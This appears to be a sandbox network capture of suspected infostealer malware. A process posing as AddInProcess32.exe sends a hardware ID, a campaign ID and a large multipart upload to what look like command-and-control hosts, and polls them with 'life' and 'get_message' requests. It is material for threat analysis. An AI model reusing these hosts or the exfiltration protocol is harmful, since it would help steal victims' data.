2024-12-30 15:18:21 UTC	1130	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gc19cdur9gt9j377fjelu5v9cq; expires=Fri, 25 Apr 2025 09:05:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EteHUt6eoZJdPAulV3PVWk05TTl8FIkpdC1lfq8esknNROdX0uVb7A275yo4WCFxtyU4FdUj8%2Bt0xj1oKF9XYOQ78nyuAJ0pwzPxXCG%2FHuvZcQF9IfkOQayYk%2BlFMzcPZL4IDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3007f6e908cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2035&min_rtt=2033&rtt_var=767&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2171&delivery_rate=1421616&cwnd=242&unsent_bytes=0&cid=05bd7df31badb36e&ts=452&x=0"
2024-12-30 15:18:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 15:18:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	57965	104.21.48.1	443	1096	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:22 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D3EZBBQTF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587756 Host: fancywaxxers.shop
2024-12-30 15:18:22 UTC	15331	OUT	Data Raw: 2d 2d 44 33 45 5a 42 42 51 54 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 44 33 45 5a 42 42 51 54 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 33 45 5a 42 42 51 54 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 37 74 78 32 6a 6f 2d 2d 38 37 34 0d 0a 2d 2d 44 33 45 5a 42 42 51 54 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 Data Ascii: --D3EZBBQTFContent-Disposition: form-data; name="hwid"99705DBA32D2B41020A4C476FD51BCB1--D3EZBBQTFContent-Disposition: form-data; name="pid"1--D3EZBBQTFContent-Disposition: form-data; name="lid"7tx2jo--874--D3EZBBQTFContent-Dispos
2024-12-30 15:18:22 UTC	15331	OUT	Data Raw: 39 3e 58 60 9a d8 c8 f8 9a 12 da f5 a1 e8 39 b9 90 d3 74 d7 5c 0c dc 2b e6 9f 75 f8 15 a5 07 57 7a cf 19 17 7c 0c a2 7a 43 28 f0 e6 0a 05 17 b5 3f 41 02 28 4d 43 69 b5 70 ea 51 27 a6 11 28 5e 41 31 af bd 06 6c ad 8f a3 c7 35 84 57 83 9a 07 46 4d c8 0d c6 c6 c3 59 d4 94 cd 71 ec ae 80 f5 7b 5d f2 75 0c 41 90 9e dc f3 ff df 5f d9 ad 00 e2 96 64 e1 01 00 ef c3 7f 59 56 02 f6 f9 10 1d 95 64 de ed 9c 46 99 15 db 58 76 f6 30 85 2b 7f d6 c7 8f 93 72 f9 cc 9d c2 72 7f 54 0f fd 14 a2 4d 2d e4 bb 36 01 56 d2 a6 92 86 0b f0 ba 54 20 7c 10 8e c0 92 5c 46 2a 75 04 b2 3c 2a 93 b4 72 4f f6 e0 fa c3 e4 d0 cd 77 a9 2c 76 df e2 fd d3 bc e4 cf e4 90 3a b1 8c 2e 17 f4 1b 79 ab d1 52 29 30 d9 48 2d ef 7c 44 7f 74 87 b9 99 9e cf 5f f5 c8 1a 0d ed 9e 0a 23 bf a8 70 f2 77 94 3b Data Ascii: 9>X`9t\+uWz\|zC(?A(MCipQ'(^A1l5WFMYq{]uA_dYVdFXv0+rrTM-6VT \|\Fu<rOw,v:.yR)0H-\|Dt_#pw;
2024-12-30 15:18:22 UTC	15331	OUT	Data Raw: ad 9b 27 af ba 40 4f 4e 3c 39 2c 03 7e 06 ad 66 7f 38 75 ff 13 61 1b da f7 8a 16 ef db 56 26 92 b7 7d e1 2e be 1f eb 4a 7b b6 7b 9d 62 78 f9 53 92 a6 95 33 e8 0d 27 62 c3 31 9e 45 8f 6d e6 1e 9a d0 68 fa e5 d7 8f 1a 5f 6a 6d 95 ba 53 7b a9 1a 42 85 ce cd f6 c7 a6 27 34 d7 f9 49 8a f6 3e 1a fc 50 9c a3 be 94 9b 6b 35 74 45 f8 90 10 53 53 15 3c 3f 20 a0 90 bd 69 8c 04 6c 7c 54 77 03 52 45 d5 b0 ca 12 8d 8a e1 e7 7a a2 c3 8d 93 d1 b3 26 9d cb ce 0e 61 ea 10 f3 ef cb 3b e8 84 f5 73 9b 89 f2 83 9e 65 fd c5 dd 0e 9e 0d d7 07 d4 3f f6 8f 78 54 ac 5d e5 4c 0d 6d 74 1e 4f 9d 87 a3 c3 ee 1a 08 c0 70 a8 b4 63 68 94 c1 62 56 fe 80 57 bd e2 f8 bf c2 8e 2b 56 17 1f e2 ac e7 de c0 b3 93 04 70 61 99 bb ea 85 01 b4 69 3d d7 66 1f 2f fe 15 f6 dc 67 ad ea ff 1d 53 c0 a2 03 Data Ascii: '@ON<9,~f8uaV&}.J{{bxS3'b1Emh_jmS{B'4I>Pk5tESS<? il\|TwREz&a;se?xT]LmtOpchbVW+Vpai=f/gS
2024-12-30 15:18:22 UTC	15331	OUT	Data Raw: bb 0d b0 b8 5a cb c3 62 5c d4 7b f8 3e ef f3 2d ad 43 d8 e1 14 9d 77 2b 21 f5 98 e4 2f cf 50 5c 5f c4 40 1f 65 48 16 6a d5 1b 7c 4e 89 e3 77 67 3a 30 13 14 7a 3d 58 1e f6 be 96 01 fd 8d 17 6b cb 8b df d3 13 ce 0e 37 3e b0 7a 25 73 8e 3e 0c 76 6b 0e dc d4 ec b8 14 39 e4 99 f0 40 6f 45 e7 e7 82 15 73 d4 e6 e6 7c 02 6f 27 87 ee c7 2d bb 74 e9 94 92 f5 f4 d5 d8 98 bb cb 2e 37 b8 98 ef ba cf 5f 54 00 1b 5e 6f d7 7e 1e 52 03 e7 22 6f 33 7d 7e 77 2e 9a 3a f0 41 e5 7a 7e 37 31 d8 9c 98 80 ce 96 4e f9 0c 46 12 a3 0a 14 ad 68 8f e9 7e 3d 1b b2 5a 72 9c 2d 5e 5d e8 f5 38 6d ab a0 5b ce 3b b6 c2 25 9f fa 75 3b 9b 23 f1 cd 49 20 e2 d4 a8 1c c3 36 fa e9 d3 d4 e6 e4 4e 91 f0 4e ad d6 f0 23 23 6a eb 98 b4 13 38 6d f1 6b 32 fe 9c 3e 76 c3 78 df b1 c1 28 6f fa 8f 47 ab 41 Data Ascii: Zb\{>-Cw+!/P\_@eHj\|Nwg:0z=Xk7>z%s>vk9@oEs\|o'-t.7_T^o~R"o3}~w.:Az~71NFh~=Zr-^]8m[;%u;#I 6NN##j8mk2>vx(oGA
2024-12-30 15:18:22 UTC	15331	OUT	Data Raw: 48 64 48 96 3a 92 e4 89 50 3a 8a 97 e1 ba ba 91 34 db af e6 3f e1 fc f5 61 dd 7a f1 f9 3b 39 7c 70 01 b8 00 59 b1 01 e3 75 94 ba 3d 0c 1a dd 5d f3 bc e1 a1 8a e2 9f bb ee a3 0c ec 70 6b d7 a7 fb 2a d0 3b 52 8b 18 d0 a3 1d 36 3c 35 48 31 77 48 6b 0c e3 9b 38 7b 2d 05 12 e5 55 42 c2 06 46 87 06 67 23 5e ac a2 f6 3e 24 09 aa b9 ec 9a e7 b3 1f d7 f3 8c fc ef 48 08 3a 44 80 e0 f0 e7 d5 2f b3 41 fe 3c bc c5 50 b0 22 17 ba a5 18 32 b7 0b d7 d9 33 ef 3b a6 86 b1 6c 4e d7 d8 e5 9f 93 99 7c 5f cc 10 58 f4 3e 4b 93 07 57 ef e1 4c 89 02 73 75 ec 5a 9c cb 66 b3 3b 7c 8b 47 a6 7d d4 58 e7 5b 9a f7 e3 75 58 b6 c7 45 7d f6 bc 42 3c ca 70 91 1d 24 45 46 26 0a 3f ce 6b 02 91 f2 64 85 da b6 c6 5e ed d0 34 6b f4 d0 89 4b b9 09 1f bc db 6b d1 41 a9 3b 56 68 a0 8d 4d f4 41 79 Data Ascii: HdH:P:4?az;9\|pYu=]pk*;R6<5H1wHk8{-UBFg#^>$H:D/A<P"23;lN\|_X>KWLsuZf;\|G}X[uXE}B<p$EF&?kd^4kKkA;VhMAy
2024-12-30 15:18:22 UTC	15331	OUT	Data Raw: 7a be 2b 37 6f 1a e3 c1 bb c2 47 a7 aa ed cd 41 83 77 19 e0 06 dc 98 a5 9e 20 89 de df be d9 3a c9 a4 c4 20 83 25 ce b2 4e f1 28 7a 2a 65 a5 6b 6c 4b 81 2a 4c 77 d2 93 03 69 a9 53 4e 0a 15 27 d8 52 e1 70 e0 69 d2 ac c4 48 fa 45 7c c3 c9 e0 8c 9f 09 89 8e 2d fa fa 35 15 2d 29 e4 1a cd 26 7c a4 eb 74 d7 93 60 4b fc c4 38 5b c2 29 1d 1d 71 64 29 61 dc 15 f8 1d 45 5d 3c 4f 00 31 4f 69 2c 9e 59 32 85 a1 c0 03 06 24 b8 60 eb d9 98 04 7f a3 d6 e2 a0 97 a9 53 2a 67 20 04 32 fe a7 c4 a8 48 b0 1f 23 a5 3f 80 32 79 6b 21 c6 a1 ab 80 65 2e 00 24 d0 2f 6e 81 f9 b5 c3 83 e2 db 4b 17 69 fd 16 b6 3e 4b 63 95 1a d8 ef 14 5b 32 d3 96 5c e8 39 54 03 da 35 a9 f0 e5 e3 46 cf a3 ac 82 7a 0b 55 7a 3e fb db 17 ee ef ac 8e 88 7e 29 67 eb 01 d2 09 51 a4 07 6b 1b ff 24 b6 5e 9f 8b Data Ascii: z+7oGAw : %N(zeklKLwiSN'RpiHE\|-5-)&\|t`K8[)qd)aE]<O1Oi,Y2$`S*g 2H#?2yk!e.$/nKi>Kc[2\9T5FzUz>~)gQk$^
2024-12-30 15:18:22 UTC	15331	OUT	Data Raw: 4c a2 30 6f 29 ce 2d 56 fc b5 9c eb d6 5e 70 69 4d 8e a0 57 28 8c 40 ee 70 ed c6 ed ef cf 21 e7 b0 74 65 76 c3 73 6e 8d 27 28 b2 32 db 2c 3a ed d0 26 43 30 8f a2 4f 09 8b 28 d6 ae 85 aa 1d e5 be 1d 5b 17 02 3f ff 8c a7 bf a0 e8 fa 62 87 9f 79 39 cc 5e 60 18 cd 67 7d b0 6b c2 b7 c7 e4 a3 f4 66 2f 26 22 c2 28 e6 ba 7c 24 32 10 91 e7 5f 4e 96 ed 08 4c 52 47 d3 8f 3f cf 3f de 9b d0 84 3c 2e c7 f3 10 89 41 9a 2d 62 30 43 06 42 8c 59 c9 1a 3c 73 cd 25 42 e6 3d a7 78 a9 b8 00 5c 72 bd 28 35 2a 80 b0 b1 d3 9e 21 b4 8c 6b 22 7a cd 33 5f 5f a3 2e 90 9b e5 29 30 de 67 40 b7 10 01 3f 45 10 66 c8 0a ec cb a1 9b 8e 54 97 75 a9 0b d7 03 e2 6f 39 c5 6d b8 9b 7d 36 03 1b 70 79 6b d3 1f bb 73 fc a1 bb 57 ca 20 fc 47 73 a5 60 08 d3 9b 1c c7 5e ca 4a 2a be d9 fc 42 c7 7d 90 Data Ascii: L0o)-V^piMW(@p!tevsn'(2,:&C0O([?by9^`g}kf/&"(\|$2_NLRG??<.A-b0CBY<s%B=x\r(5!k"z3__.)0g@?EfTuo9m}6pyksW Gs`^JB}
2024-12-30 15:18:22 UTC	15331	OUT	Data Raw: 59 96 a8 ce bc 1a 67 2b c0 24 ff 13 d5 71 3c dc e4 bd 5f 08 76 b3 ea 61 7b 75 d2 a3 cb 09 a8 15 d3 3a 55 88 9a 7f 5d 30 0e 61 ea bf 2c 21 82 60 b9 9e 76 0a 2d d5 b1 77 80 7d df c2 c9 4c 41 08 c2 d8 c0 67 22 32 db e8 c5 c7 08 d3 e3 df cf 89 27 88 05 22 e0 68 ef d2 37 29 a4 c4 95 2d ec 4c a1 40 2c 3e 1d 5e df 36 b3 7a b2 7a d8 9c 98 2e f5 ba 18 15 fb 02 75 d4 8d a6 09 5e ef 47 79 17 61 9d 22 12 e8 5a e3 4f c2 0e 1d 8c 4d 66 54 75 23 c0 ae 2e 28 ae 6c be e8 b0 2c 68 e1 fd 0a c8 60 0b e7 b0 1f 32 f7 64 6a d1 bb db 3e c6 17 79 b6 f9 53 2e 72 57 ac 82 2d 6c db 6a 53 d9 b5 d2 b1 21 99 81 86 9c 0a b5 f3 0f dd 1b aa 95 16 51 94 ba e1 5f 27 02 0b e2 50 72 f0 54 79 28 d7 4c ac 87 53 c2 3e b9 a1 99 bb 5c c2 0b 5a 4a cd aa 1f 43 c0 71 2b a3 21 a6 a5 07 32 63 6b 7b c6 Data Ascii: Yg+$q<_va{u:U]0a,!`v-w}LAg"2'"h7)-L@,>^6zz.u^Gya"ZOMfTu#.(l,h`2dj>yS.rW-ljS!Q_'PrTy(LS>\ZJCq+!2ck{
2024-12-30 15:18:22 UTC	15331	OUT	Data Raw: eb 2d 1e 8c 5d a0 fc ed 1e ab 73 eb 71 38 8e e3 7b 0b c4 d4 d4 c9 cd 1b 6b 1d d8 bc 51 79 eb dc 7a 06 a9 f1 71 58 d0 c2 c5 0f a7 b1 e0 94 f9 fb 07 ec 62 08 7b a6 24 ea 96 df 43 d1 ee da e1 74 ed 9e dc 4b 99 37 40 8f 20 36 a0 f2 d0 53 88 7c 75 b7 1e e8 46 45 d4 f9 7a 4a 42 64 5d 7a 81 c3 e9 b0 2b 65 0a 84 c4 97 a7 1a 73 9c 4e 95 29 83 f8 62 d4 ee 03 2a b8 9e 12 c0 c3 22 52 be 89 96 3d c3 09 1d a5 af 0b e7 b8 bc eb 34 33 03 75 4c 65 1c 87 90 59 fc ce 07 2d e6 c4 ad 91 1b ad d7 90 de e6 58 f3 2c 55 b9 59 ed 91 b0 f2 eb a7 bc 1b 7b 8d f4 9e 49 8f ab 73 72 5d 58 77 5b ee 86 ca 2e 18 f3 fe f1 e5 3b 74 91 b4 4d fd df 3d d0 22 1b 6e fe 50 27 cc 1e dc 33 a0 9f f5 e6 26 9c 39 cf d8 7f 9d c5 7c de 1d 54 e7 a2 4c ba 15 49 75 71 48 ff b6 1b 15 6a fa e6 26 44 1e 1b 7f Data Ascii: -]sq8{kQyzqXb{$CtK7@ 6S\|uFEzJBd]z+esN)b*"R=43uLeY-X,UY{Isr]Xw[.;tM="nP'3&9\|TLIuqHj&D
2024-12-30 15:18:22 UTC	15331	OUT	Data Raw: 7a df de e4 86 93 9c 00 87 6b 65 21 02 39 dd d6 c1 5e 97 03 3c b5 3e c0 76 ba 05 e1 14 b1 f6 9c 27 20 74 1f b0 66 ff 78 7a 7c 2a 1d b1 91 19 42 41 f9 ae f7 1b 55 77 a9 8b b3 ce 3c 36 bf 47 c3 22 f8 c3 b8 63 fd b2 44 31 eb 77 0c 2f cd a0 80 18 eb 92 37 d9 dd 4e 0b c9 bb 02 36 a7 66 57 1a 2c 67 d5 24 a5 82 f2 3e 3c b1 37 48 7b e2 40 ad 9a 25 f3 fc c5 a5 6c 8f 19 db 81 60 8d e2 0d 04 aa 2e 4f 90 3e 3c 65 7c bc 45 48 88 5b 30 70 c9 81 82 42 d7 f5 2f c6 07 cd 84 bb 0e d6 0a 2d 62 cd 00 a9 2a 68 d1 58 6e 1e 9a 12 e2 16 06 08 8e db 3a 63 dd 20 34 d3 bb 60 1b 3c fc dc db 4a 69 9d 40 73 1c 57 19 0a b2 69 d0 ee de e0 87 c8 b2 42 23 96 b3 6f 3c 58 87 d7 67 1e 11 65 be 22 51 61 53 7f 3b a7 72 1e a3 5c 97 22 0f f2 bc 41 c6 09 12 0f b2 73 63 48 35 86 f3 0a a2 b7 66 b9 Data Ascii: zke!9^<>v' tfxz\|BAUw<6G"cD1w/7N6fW,g$><7H{@%l`.O><e\|EH[0pB/-bhXn:c 4`<Ji@sWiB#o<Xge"QaS;r\"AscH5f
2024-12-30 15:18:24 UTC	1141	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v93d9ddhcna0jcs1s013r0hbhv; expires=Fri, 25 Apr 2025 09:05:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FM2nXGyshHrh8n%2BFsuy9J0Uzjp4malOS8ALXbmjiOA%2B0c9mMZtovQP1bbTWv0XPZYj%2B4FtMtfL2wW2%2BVAVcSdol2EU39KH6Iq5487fBspjTtSwDcNUfOkQMve2WiNgcrfcb0tQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa30086eb8243be-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&min_rtt=1563&rtt_var=605&sent=202&recv=604&lost=0&retrans=0&sent_bytes=2843&recv_bytes=590339&delivery_rate=1779402&cwnd=226&unsent_bytes=0&cid=9f6ed61a59bf6f95&ts=1648&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	57966	104.21.64.143	443	2104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:24 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: aliveindu.click
2024-12-30 15:18:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-30 15:18:24 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t5n0ds67ur3fvsgm1c4uvk5jr6; expires=Fri, 25 Apr 2025 09:05:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a%2BCRfEX62mGLOQxNKWyOu3vYaiP4qf9w0W2tNP98AyAuyWnoxX7HNqIb3TkIC%2Fo5DccTSd%2F5flSgmJnghTpkFyuOLXW4BkB8wOm1BqJqU3iu89%2FK2R3mFQwyJUARjMroczc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa300915a3d4388-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2130&min_rtt=2127&rtt_var=805&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1353732&cwnd=221&unsent_bytes=0&cid=9dca367c010f2a93&ts=478&x=0"
2024-12-30 15:18:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-30 15:18:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	57967	104.21.48.1	443	1096	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:24 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: fancywaxxers.shop
2024-12-30 15:18:24 UTC	80	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 37 74 78 32 6a 6f 2d 2d 38 37 34 26 6a 3d 26 68 77 69 64 3d 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 Data Ascii: act=get_message&ver=4.0&lid=7tx2jo--874&j=&hwid=99705DBA32D2B41020A4C476FD51BCB1
2024-12-30 15:18:25 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i6s54apnqddvrr2g7sprq6sk2o; expires=Fri, 25 Apr 2025 09:05:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xmT9HFJq77IdyWzlyfVKCNs2325dYs84wLY4DNRWRX3yAyz1NESVXBjqnuxUuWBVpkf5EOl2rXVJYaVzCNJxIRN9dWEgx8sSY%2FiBRrw0JCBv%2FWBYRiveTeekXzeAUzL6ilAKxA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa300944bbdc323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1482&min_rtt=1469&rtt_var=577&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=981&delivery_rate=1852791&cwnd=214&unsent_bytes=0&cid=c68a754944af8a05&ts=479&x=0"
2024-12-30 15:18:25 UTC	54	IN	Data Raw: 33 30 0d 0a 45 55 4b 66 39 37 6b 6a 39 30 69 54 58 6a 37 56 6f 73 31 2b 41 45 2f 6d 78 64 34 74 6b 7a 4d 59 4b 6f 46 64 31 71 6e 6b 74 67 46 4b 48 77 3d 3d 0d 0a Data Ascii: 30EUKf97kj90iTXj7Vos1+AE/mxd4tkzMYKoFd1qnktgFKHw==
2024-12-30 15:18:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	57968	104.21.64.143	443	2104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:25 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: aliveindu.click
2024-12-30 15:18:25 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 62 46 63 47 68 36 2d 2d 32 39 31 32 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=bFcGh6--2912&j=
2024-12-30 15:18:25 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=69oh19655nv8u9k1rphvqlkdbk; expires=Fri, 25 Apr 2025 09:05:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FfmLVPvB9X7cfSPVclNszLpBLH8UJ8WiZL5L1OK%2BY5MjerhXqhYqNaPOT4j9kOC%2FPRu4QuVD9FEooVwC9VftdWdvLDJj4HD0XgVZMZPS4wSxrJmliGTN0FwWQpahxz%2FzfCo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa300973828427f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1687&min_rtt=1642&rtt_var=706&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=945&delivery_rate=1457085&cwnd=239&unsent_bytes=0&cid=36bbbd7d185dbb9e&ts=488&x=0"
2024-12-30 15:18:25 UTC	246	IN	Data Raw: 34 39 39 34 0d 0a 2b 6a 4a 46 38 4c 61 46 59 4e 51 4f 4f 55 77 42 44 55 6a 49 68 4d 54 35 76 46 68 73 61 64 47 46 33 61 59 4c 61 32 6a 39 76 71 57 42 45 44 50 53 6a 4c 46 4d 39 6e 31 63 62 6a 74 35 4f 72 33 68 36 4e 76 64 50 45 35 54 74 2b 53 78 31 57 35 48 53 6f 76 54 68 38 42 55 4a 4a 7a 46 34 45 7a 32 61 30 46 75 4f 31 59 7a 36 75 47 71 32 34 5a 36 43 51 4f 7a 35 4c 48 45 61 67 41 48 6a 64 4c 47 6b 6c 34 69 6d 4e 50 6d 42 4c 56 69 56 43 6c 6b 61 43 6d 69 36 71 32 55 31 44 56 4f 52 66 50 67 70 34 51 78 53 53 57 59 79 73 53 33 55 7a 61 62 6c 50 68 4d 72 79 78 63 49 69 4d 33 61 71 6e 68 70 70 58 61 50 41 63 42 75 65 32 35 78 57 38 42 47 4a 54 59 7a 5a 4a 51 49 5a 6e 5a 37 78 43 34 61 46 4d 69 59 6d 49 70 36 71 6a 6d 6e 4d 5a 36 Data Ascii: 4994+jJF8LaFYNQOOUwBDUjIhMT5vFhsadGF3aYLa2j9vqWBEDPSjLFM9n1cbjt5Or3h6NvdPE5Tt+Sx1W5HSovTh8BUJJzF4Ez2a0FuO1Yz6uGq24Z6CQOz5LHEagAHjdLGkl4imNPmBLViVClkaCmi6q2U1DVORfPgp4QxSSWYysS3UzablPhMryxcIiM3aqnhppXaPAcBue25xW8BGJTYzZJQIZnZ7xC4aFMiYmIp6qjmnMZ6
2024-12-30 15:18:25 UTC	1369	IN	Data Raw: 56 6b 76 67 31 62 7a 56 65 42 77 48 6a 39 71 48 68 78 34 2b 30 74 50 72 51 75 34 73 55 79 4a 74 61 69 6d 6c 34 61 65 62 7a 44 55 4f 43 4c 76 76 75 38 35 6d 42 67 57 52 31 73 43 51 57 53 43 64 30 2b 38 45 75 57 38 62 59 43 4e 6f 4d 75 71 2b 35 72 76 4f 4f 51 30 66 76 76 62 2f 32 79 63 51 53 70 6a 51 68 38 41 51 49 5a 7a 56 36 67 4b 6b 5a 46 41 6c 5a 6e 30 68 6f 2b 75 72 6d 39 4d 77 41 51 69 7a 34 4c 58 4f 5a 67 4d 4f 6b 74 48 42 6d 46 42 6e 33 4a 54 67 47 76 59 30 47 77 31 6d 66 79 32 6d 38 4f 53 68 6e 69 56 41 45 76 50 67 73 34 51 78 53 51 4b 61 33 38 53 54 58 79 53 61 33 2f 55 43 70 47 70 57 4b 33 46 70 4c 36 54 73 70 59 6e 55 4e 41 67 49 75 75 79 32 77 57 34 4e 53 74 47 63 77 49 41 51 66 39 4c 31 36 67 6d 36 5a 6b 77 75 49 33 42 6b 73 36 61 68 6c 35 35 Data Ascii: 